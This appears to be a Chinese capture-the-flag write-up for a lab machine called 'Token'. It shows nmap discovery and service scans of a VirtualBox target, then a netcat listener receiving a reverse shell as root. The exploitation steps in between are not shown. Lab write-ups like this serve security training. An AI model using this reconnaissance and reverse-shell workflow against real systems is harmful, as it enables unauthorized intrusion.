┌──(root㉿kali)-[/miao/maze-sec/token] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-25 09:01 CST Nmap scan report for 192.168.2.1 Host is up (0.00043s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00034s latency). MAC Address: 08:00:27:C7:7C:7C (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.63 Host is up (0.00094s latency). MAC Address: 08:00:27:5C:90:A4 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.04 seconds
靶机IP:192.168.2.63
二、端口扫描
1、全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kali)-[/miao/maze-sec/token] └─# nmap --min-rate 10000 -p- 192.168.2.63 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-25 09:01 CST Nmap scan report for 192.168.2.63 Host is up (0.00034s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5000/tcp open upnp MAC Address: 08:00:27:5C:90:A4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.61 seconds
┌──(root㉿kali)-[/miao/maze-sec/token] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80,5000 192.168.2.63 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-25 09:02 CST Nmap scan report for 192.168.2.63 Host is up (0.0011s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.62 (Debian) | http-title: \xE7\xAE\xA1\xE7\x90\x86\xE5\x91\x98\xE7\x99\xBB\xE5\xBD\x95 |_Requested resource was login.php 5000/tcp open upnp? | fingerprint-strings: | GetRequest: | HTTP/1.1 404 NOT FOUND | Server: Werkzeug/3.1.3 Python/3.9.2 | Date: Fri, 25 Jul 2025 01:02:23 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 207 | Connection: close | <!doctype html> | <html lang=en> | <title>404 Not Found</title> | <h1>Not Found</h1> | <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p> | HTTPOptions: | HTTP/1.1 404 NOT FOUND | Server: Werkzeug/3.1.3 Python/3.9.2 | Date: Fri, 25 Jul 2025 01:02:38 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 207 | Connection: close | <!doctype html> | <html lang=en> | <title>404 Not Found</title> | <h1>Not Found</h1> | <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p> | Help: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd"> | <html> | <head> | <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 400</p> | <p>Message: Bad request syntax ('HELP').</p> | <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p> | </body> | </html> | RTSPRequest: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd"> | <html> | <head> | <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 400</p> | <p>Message: Bad request version ('RTSP/1.0').</p> | <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi? .... MAC Address: 08:00:27:5C:90:A4 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 94.98 seconds
┌──(root㉿kali)-[~] └─# nc -lvnp 4444 listening on [any] 4444 ... id connect to [192.168.2.4] from (UNKNOWN) [192.168.2.63] 60762 bash: cannot set terminal process group (1002175): Inappropriate ioctl for device bash: no job control in this shell root@Token:~# id uid=0(root) gid=0(root) groups=0(root) root@Token:~# id id uid=0(root) gid=0(root) groups=0(root)